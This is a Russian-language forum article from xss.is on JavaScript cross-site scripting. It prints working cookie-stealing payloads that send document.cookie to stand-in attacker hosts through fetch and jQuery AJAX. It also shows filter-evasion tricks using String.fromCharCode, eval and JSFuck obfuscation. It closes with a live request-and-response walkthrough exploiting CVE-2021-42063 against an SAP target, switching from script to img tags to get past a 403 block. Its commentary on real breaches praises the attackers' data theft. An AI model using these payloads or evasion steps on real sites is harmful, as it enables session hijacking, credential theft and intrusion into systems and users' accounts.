D2
Администратор
- Регистрация
- 19 Фев 2025
- Сообщения
- 4,380
- Реакции
- 0
XSS[is] JavaScript Damage
Эта статья про XSS-атаки основанные на JavaScript, она резюмирует первую часть этой серии, которая фокусировалась на инъекциях HTML/CSS. Мы увидим полную мощь XSS и обратимся к случаям, которые произошли в прошлом. Это не очередная статья об "alert(1)".
Содержание
1. JavaScript-основанные XSS2. JavaScript в веб-приложениях
3. Типы XSS
4. Функциональные возможности JavaScript, используемые в атаках XSS
5. Некоторые случаи с XSS
6. Рукопашная
JavaScript-основанные XSS
JavaScript-основанный XSS - это уязвимость, при которой злоумышленник внедряет вредоносный код JavaScript в веб-страницу, просматриваемую другими пользователями. В отличие от инъекций HTML/CSS, которые изменяют структуру или стиль веб-страницы, JavaScript XSS нацелен на функциональность, используя динамическую природу JavaScript.Основные отличия от инъекций HTML/CSS
Область воздействия: JavaScript может манипулировать API браузера и данными пользовательских сессий.Интерактивность: JavaScript XSS может создавать интерактивные вредоносные скрипты.
Доступ к данным: JavaScript-основанный XSS может получать доступ к конфиденциальной информации, такой как куки и токены.
Первая часть нашей серии исследовала уязвимости инъекций HTML и CSS. Инъекция HTML влияет на структуру страницы, в то время как инъекция CSS манипулирует визуальной презентацией. Эти атаки могут нарушить макет веб-сайта, но обычно не выполняют вредоносные скрипты и не получают доступ к данным пользователя.
JavaScript в веб-приложениях
JavaScript имеет ключевое значение в современной веб-разработке, управляя интерактивными и динамическими аспектами веб-приложений. Однако его функции также открывают пути для уязвимостей, таких как XSS.Асинхронные операции с AJAX
AJAX (Асинхронный JavaScript и XML) позволяет веб-приложениям асинхронно отправлять и получать данные с сервера, не вмешиваясь в отображение и поведение существующей страницы. Это означает, что веб-приложения могут динамически обновлять содержимое, обеспечивая более плавный пользовательский опыт.Фреймворки и библиотеки для фронтенда
Фреймворки, такие как React, Angular и Vue.js, основаны на JavaScript. Они предлагают повторно используемые компоненты и реактивную привязку данных, позволяя разрабатывать сложные одностраничные приложения. По сути, они широко используются.JavaScript на стороне сервера
С появлением Node.js, JavaScript можно использовать не только на стороне клиента, но и на стороне сервера. Это позволило разработчикам использовать единый язык программирования на всем стеке веб-разработки.Типы XSS
Отраженные XSS
Отраженные XSS-атаки происходят, когда злоумышленник отправляет вредоносный скрипт пользователю, часто через ссылку. Затем скрипт выполняется браузером пользователя как часть взаимодействия жертвы с веб-сайтом.Запрос, отправленный пользователем
Код: Скопировать в буфер обмена
http://xacker.mamkin/search?query=<script>alert('XSS')</script>
Код на стороне сервера:
Код: Скопировать в буфер обмена
Код:
var searchQuery = request.getParameter("query");
response.write("<div>Results for " + searchQuery + "</div>");
Сохраненные XSS
Атаки сохраненных XSS происходят, когда злоумышленник сохраняет вредоносный скрипт в базе данных веб-сайта, который затем отображается и выполняется, когда другие пользователи открывают ту страницу.Допустим, злоумышленник отправляет запрос, который хранится в базе данных, и когда пользователь открывает веб-сайт, код выполняется.
Код: Скопировать в буфер обмена
<script>fetch('http://xacker.mamkin/?cookie=' + document.cookie)</script>
Как это выглядит на стороне клиента:
Код: Скопировать в буфер обмена
Код:
<div>
User Comments:
<p><script>fetch('http://malicious-site.com/?cookie=' + document.cookie)</script></p>
</div>
DOM-основанные XSS
DOM-основанные XSS-атаки манипулируют объектной моделью документа (DOM) веб-страницы, часто изменяя URL и заставляя JavaScript выполнять вредоносный код на основе этой манипуляции.Запрос, отправленный пользователем
Код: Скопировать в буфер обмена
http://xacker.mamkin/#<script>alert('XSS')</script>
Как это выглядит на стороне клиента:
Код: Скопировать в буфер обмена
Код:
var fragment = window.location.hash.slice(1);
document.getElementById('content').innerHTML = fragment;
Функциональные возможности JavaScript, используемые в атаках XSS
Хотя JavaScript обогащает веб-приложения, он также вводит потенциальные риски безопасности. XSS-атаки часто используют определенные аспекты JavaScript для выполнения вредоносного кода в браузере пользователя.Манипуляция с DOM
Объектная модель документа (DOM) - это API для HTML и XML-документов, который предоставляет структурированное представление документа и определяет, как документы могут быть доступны и изменены. В XSS-атаках вредоносные скрипты часто манипулируют DOM для вставки или изменения содержимого веб-страницы.Например, предположим, что у нас есть веб-сайт, подобный этому:
Код: Скопировать в буфер обмена
Код:
<!DOCTYPE html>
<html>
<head>
<title>Sample Page</title>
</head>
<body>
<div id="someElement">Initial Content</div>
</body>
</html>
Код: Скопировать в буфер обмена
document.getElementById('someElement').innerHTML = 'XSScodeHere';
В этом случае, если веб-сервис принимает ввод от пользователя, код JavaScript динамически изменяет содержимое элемента веб-страницы, что часто используется в атаках с помощью перекрёстных скриптов (XSS) для внедрения вредоносного содержимого.
Код: Скопировать в буфер обмена
Код:
<!DOCTYPE html>
<html>
<head>
<title>Sample Page</title>
</head>
<body>
<div id="someElement">XSScodeHere</div>
</body>
</html>
Когда мы вводим данные, исходный код (CTRL+U) не изменится, но «инспектирование», которое мы делаем с помощью инструментов разработчика браузера, покажет отредактированный код. Вот почему я хочу добавить поддержку хромиума в мои инструменты, но я все еще думаю об этом, так как это также потребует много ресурсов.
P.S. Очевидно, что мы должны заменить "XSScodeHere" на что-то вредоносное, я дам несколько примеров ниже.
Обработчики событий
JavaScript может назначать функции для выполнения, когда происходят определенные события, такие как клики мыши или ввод с клавиатуры. Злоумышленники могут встраивать вредоносный код в эти обработчики событий.В этом случае вредоносная функция может быть кодом, выполняющим несанкционированные действия, такие как кража куки или перенаправление пользователя на вредоносный сайт:
Код: Скопировать в буфер обмена
<button onclick="maliciousFunction()">Click Me</button>
Еще один очень простой пример:
Код: Скопировать в буфер обмена
<button onclick="alert(1)">Click Me</button>
Запросы AJAX
AJAX может быть использован для отправки данных на вредоносный сервер или получения данных с него без ведома пользователя.Этот скрипт отправляет куки пользователя на вредоносный сервер:
Код: Скопировать в буфер обмена
Код:
$.ajax({
url: 'http://xacker.mamkin/steal-data',
type: 'POST',
data: { sensitiveData: document.cookie }
});
Некоторые случаи с XSS
Все мы знаем, что атаки с использованием инъекций SQL представляют большую угрозу для извлечения данных, по сути, они более серьезны, чем XSS в большинстве случаев. Это потому, что XSS обычно требует взаимодействия пользователя. Я хочу сказать, что XSS недооценивается WhiteHat-ами и переоценивается BlackHat-ами xD. Программы вознаграждения за нахождение уязвимостей (bug bounty) обычно платят немного за XSS, так как это требует взаимодействия пользователя, в то время как это может быть прибыльным в «темном» бизнесе. Давайте рассмотрим некоторые случаи из прошлого:British Airways (2018): British Airways столкнулись с серьезной утечкой данных из-за атаки XSS, выполненной группой хакеров Magecart. Группа использовала уязвимость в библиотеке JavaScript под названием Feedify, которая использовалась на сайте British Airways. Они модифицировали скрипт для отправки данных клиентов на вредоносный сервер, имитируя домен British Airways, тем самым успешно осуществив скимминг кредитных карт 380 000 транзакций бронирования. Злоумышленники были настолько искусны, что использовали SSL-сертификат для своего поддельного сервера, делая его безопасным в глазах пользователей и браузеров.
С точки зрения WhiteHat:
Это привело к штрафу в 230 миллионов долларов (https://www.reflectiz.com/blog/brit...arty-breach-leads-to-a-230-million-gdpr-fine/), если бы уязвимость была сообщена, ответ, вероятно, был бы либо «Проблема в стороннем компоненте и нас не касается», либо если бы WhiteHat сообщил об этом как о «Использовании необслуживаемых сторонних компонентов (CWE-1104)», то это было бы рассмотрено как низкая или средняя угроза, потому что ее использование считалось бы незаконным, и воздействие, вероятно, не было бы большим, так как она не была использована. Типо никто не понял бы насколько уязвимость может навредить не воспользовавшись ею. Вознаграждение за сообщение об уязвимости составило бы от 5 до 10 тысяч долларов, эти цифры не "вымышлены", они реальны (https://www.hackerone.com/application-security/reducing-risk-bug-bounty-program).
Вывод здесь в том, что платформы Bug Bounty отлично подходят для компаний, чтобы избежать такого поведения. Что касается моих собственных мыслей об этом, WhiteHat делают то что делают, в основном ради своей репутации, а вознаграждение для них как чаевые.
С точки зрения BlackHat:
Я не BlackHat, поправьте меня, если я ошибаюсь. Я думаю, что BlackHat должен был извлечь данные, иначе продемонстрировать воздействие было бы невозможно, и это то, что они сделали, так что хороший ход. Вопрос в том, что случилось с этими данными? Я не смог найти никакой информации в интернете, очевидно, мы знаем, что они были проданы, главный вопрос в том, «Кому?»
Fortnite (2019): Популярная онлайн-игра Fortnite столкнулась с потенциальной атакой XSS, которая могла привести к значительному нарушению данных. Незащищенная, устаревшая веб-страница на сайте игры содержала опасную уязвимость XSS, предоставляя злоумышленникам потенциальный доступ к 200 миллионам пользователей. Атака могла позволить украсть виртуальную валюту игры и записать разговоры игроков, предоставляя ценную информацию для будущих атак. Исследователи безопасности из Check Point обнаружили и сообщили об этой уязвимости Fortnite.
Есть видео PoC:
Как видно из видео, это требует взаимодействия пользователя, поэтому вознаграждение WhiteHat здесь, вероятно, будет таким же, как и в случае с British Airways, ущерб от BlackHat будет немного меньше, чем тот, который был нанесен British Airways. Я думаю, мы будем в будущем ссылаться на эти случаи, чтобы понять, насколько плохо была использована атака XSS xD
eBay (2015-2016): eBay столкнулась с серьезной уязвимостью XSS, где веб-сайт использовал параметр "url" для перенаправления без проверки его значения. Это позволило злоумышленникам внедрить вредоносный код в платформу, потенциально получив полный доступ к аккаунтам продавцов eBay, манипулируя списками товаров и крадя платежные данные. Эта уязвимость активно использовалась злоумышленниками для манипуляции с объявлениями о продаже высокоценных товаров, таких как транспортные средства.
Уязвимость в British Airways был на самом деле сохранённый XSS, хотя она была связана со сторонними компонентами, уязвимость в EpicGames была в своем собственном домене, это была проблема с CORS. Если я правильно понял новости, параметр URL использовался для внедрения iframe на вредоносный сайт, так что случай с eBay скорее проблема CSP. У меня нет нормального источника, чтобы дать точную информацию, но я почти уверен, что это, вероятно, на том же уровне, что и уязвимость в Fortnite, или, возможно, немного выше, потому что это в основном домене. Но в этих случаях это важно для WhiteHat, а не для BlackHat, потому что BlackHat, вероятно, будут использовать короткую ссылку, так как отраженный XSS для кражи данных будет использовать «подозрительный» пейлоад, он будет длинным, так что в случаях с Fortnite и eBay они должны быть одинаковыми в глазах BlackHat (я думаю), для WhiteHat, eBay более серьезна, так как это в основном домене, нас не волнует, насколько велик пейлоад, так сильно как то где уязвимость найдена, в оценке CVSS нет «длины пейлоада» xD
Теперь у меня возникла идея, мы должны создать свою собственную оценку и добавить «Длину пейлоада», потому что это важно. Я назову это XSS, eXploitation Severity Score.
Обход санитаризации ввода
Злоумышленники постоянно разрабатывают сложные техники для обхода клиентских мер санитаризации и безопасности. Очевидно, что есть много методов для этого, и те, которые я здесь объясняю, лишь часть того, что существует в дикой природе. Мы можем видеть, как люди ежедневно делают посты в X (twitter) с обходом Cloudflare/Akamai, хотя иногда может сработать простое копирование и вставка, обходы выполняются через ручные тесты, путем понимания того, что блокируется/санитаризируется.Использование расширенного кодирования
Браузеры могут интерпретировать различные кодировки, и злоумышленники часто используют эту особенность для «скрытия» пейлоадов.Код: Скопировать в буфер обмена
<script>alert('XSS');</script>
Этот базовый инъекционный XSS может быть заблокирован фильтрами санитаризации. Однако использование шестнадцатеричного или base64 кодирования может обойти фильтры:
Код: Скопировать в буфер обмена
<script>alert(String.fromCharCode(88,83,83));</script>
Вы можете видеть множество пейлоадов подобного рода, суть здесь не в том, чтобы «скрыть» «XSS», а скрыть само «оповещение», насколько мне известно, также используются html/url кодирование. Я не использовал никакого кодирования для обхода XSS, .
Замаскировка Скриптов
Замаскировка включает в себя маскировку вредоносного скрипта для того, чтобы избежать его обнаружения. (да, звучит тупо)Код: Скопировать в буфер обмена
<img src="x" onerror="eval(String.fromCharCode(97,108,101,114,116,40,39,88,83,83,39,41))">
Событие onerror запускает функцию eval(), которая выполняет декодированный скрипт, отображая предупреждение (alert) с 'XSS'.
Метод обфускации, который почти всегда работает для меня, - это использование JSFuck (https://jsfuck.com):
Код: Скопировать в буфер обмена
Код:
<script>
[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]][([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+!+[]]+(+[![]]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+(+(!+[]+!+[]+!+[]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([]+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][[]]+[])[+!+[]]+(![]+[])[+!+[]]+((+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]]](!+[]+!+[]+!+[]+[!+[]+!+[]])+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]])()((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[+!+[]+[!+[]+!+[]+!+[]]]+[+!+[]]+([+[]]+![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[!+[]+!+[]+[+[]]])
<script>
Переводится как:
Код: Скопировать в буфер обмена
<script>alert(1)</script>
Использование Атрибутов HTML5
HTML5 ввел несколько новых атрибутов, которые могут быть использованы для эксплуатации XSS.Код: Скопировать в буфер обмена
<audio src="malicious.mp3" onerror="alert('XSS')"></audio>
Я объяснил это в предыдущей статье - https://xss.is/threads/103323/.
Рукопашная
Всё, что написано выше, - это лишь основы, случаи разные. Я объясню охоту в дикой природе так, как я это делаю. Это может быть через 2 пути, автоматизированный (или как я его называю, ак47), или рукопашный. Я уже объяснил автоматизацию с помощью kXSS и Bablo, так что я расскажу о других вещах. Все мы иногда играем с Nuclei, и у них есть шаблон для CVE-2021-42063. Давайте посмотрим, что там есть. У меня есть уязвимая цель, и я буду анализировать её в слепую. Это может быть самым странным анализом эксплойта.Шаблон:
Код: Скопировать в буфер обмена
Код:
id: CVE-2021-42063
info:
name: SAP Knowledge Warehouse <=7.5.0 - Cross-Site Scripting
author: pdteam
severity: medium
description: |
SAP Knowledge Warehouse 7.30, 7.31, 7.40, and 7.50 contain a reflected cross-site scripting vulnerability via the usage of one SAP KW component within a web browser.
remediation: |
Upgrade to a patched version of SAP Knowledge Warehouse (>=7.5.1) to mitigate the XSS vulnerability.
reference:
- https://seclists.org/fulldisclosure/2022/Mar/32
- https://packetstormsecurity.com/files/166369/SAP-Knowledge-Warehouse-7.50-7.40-7.31-7.30-Cross-Site-Scripting.html
- https://twitter.com/MrTuxracer/status/1505934549217382409
- https://nvd.nist.gov/vuln/detail/CVE-2021-42063
- http://packetstormsecurity.com/files/166369/SAP-Knowledge-Warehouse-7.50-7.40-7.31-7.30-Cross-Site-Scripting.html
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2021-42063
cwe-id: CWE-79
epss-score: 0.00491
epss-percentile: 0.73418
cpe: cpe:2.3:a:sap:knowledge_warehouse:7.30:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: sap
product: knowledge_warehouse
shodan-query: http.favicon.hash:-266008933
zoomeye-query: +app:"SAP NetWeaver Application Server httpd
tags: cve2021,sap,xss,seclists,packetstorm,cve
http:
- method: GET
path:
- "{{BaseURL}}/SAPIrExtHelp/random/SAPIrExtHelp/random/%22%3e%3c%53%56%47%20%4f%4e%4c%4f%41%44%3d%26%23%39%37%26%23%31%30%38%26%23%31%30%31%26%23%31%31%34%26%23%31%31%36%28%26%23%78%36%34%26%23%78%36%66%26%23%78%36%33%26%23%78%37%35%26%23%78%36%64%26%23%78%36%35%26%23%78%36%65%26%23%78%37%34%26%23%78%32%65%26%23%78%36%34%26%23%78%36%66%26%23%78%36%64%26%23%78%36%31%26%23%78%36%39%26%23%78%36%65%29%3e.asp"
matchers-condition: and
matchers:
- type: word
part: body
words:
- "<SVG ONLOAD=alert(document.domain)>"
- "SAPIKS2"
condition: and
- type: word
part: header
words:
- "text/html"
- type: status
status:
- 200
- Почему это HTML-кодировка?
- Почему это написано прописными буквами?
- Почему это заканчивается на .asp, что если я его уберу?
Код: Скопировать в буфер обмена
GET /SAPIrExtHelp/random/SAPIrExtHelp/random/PirivetPirivet.asp HTTP/2
Ответ:
Код: Скопировать в буфер обмена
Код:
<html>
<head>
<meta data-fr-http-equiv="content-type" content="text/html; charset=ISO-8859-1">
<meta http-equiv="refresh" content="0; URL=/SAPIKS2/logonFromUrl.sap?null&_CLASS=RANDOM/SAPIREXTHELP/RANDOM/PIRIVETPIRIVET">
</head>
<body>
</body>
</html>
Запрос:
Код: Скопировать в буфер обмена
GET /SAPIrExtHelp/random/SAPIrExtHelp/random/PirivetPirivet HTTP/2
Ответ:
Код: Скопировать в буфер обмена
HTTP/2 404 Not Found
Хорошо, значит, это должно заканчиваться на .asp, время для HTML-инъекции:
Запрос:
Код: Скопировать в буфер обмена
GET /SAPIrExtHelp/random/SAPIrExtHelp/random/"><h1>test</h1>.asp HTTP/2
Ответ:
Изображение [1]
Запрос:
Код: Скопировать в буфер обмена
GET /SAPIrExtHelp/random/SAPIrExtHelp/random/"><script>[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]][([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+!+[]]+(+[![]]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+(+(!+[]+!+[]+!+[]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([]+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][[]]+[])[+!+[]]+(![]+[])[+!+[]]+((+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]]](!+[]+!+[]+!+[]+[!+[]+!+[]])+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]])()((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[+!+[]+[!+[]+!+[]+!+[]]]+[+!+[]]+([+[]]+![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[!+[]+!+[]+[+[]]])</script>.asp HTTP/2
Ответ:
Код: Скопировать в буфер обмена
HTTP/2 403 Forbidden
Я думаю, что проблема с тегом "script", так что давайте заменим его на тег "img".
Запрос:
Код: Скопировать в буфер обмена
GET /SAPIrExtHelp/random/SAPIrExtHelp/random/"><img%20src=x%20onerror=[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]][([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+!+[]]+(+[![]]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+(+(!+[]+!+[]+!+[]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([]+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][[]]+[])[+!+[]]+(![]+[])[+!+[]]+((+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]]](!+[]+!+[]+!+[]+[!+[]+!+[]])+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]])()((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[+!+[]+[!+[]+!+[]+!+[]]]+[+!+[]]+([+[]]+![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[!+[]+!+[]+[+[]]])>.asp HTTP/2
Ответ:
Код: Скопировать в буфер обмена
Код:
<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=ISO-8859-1">
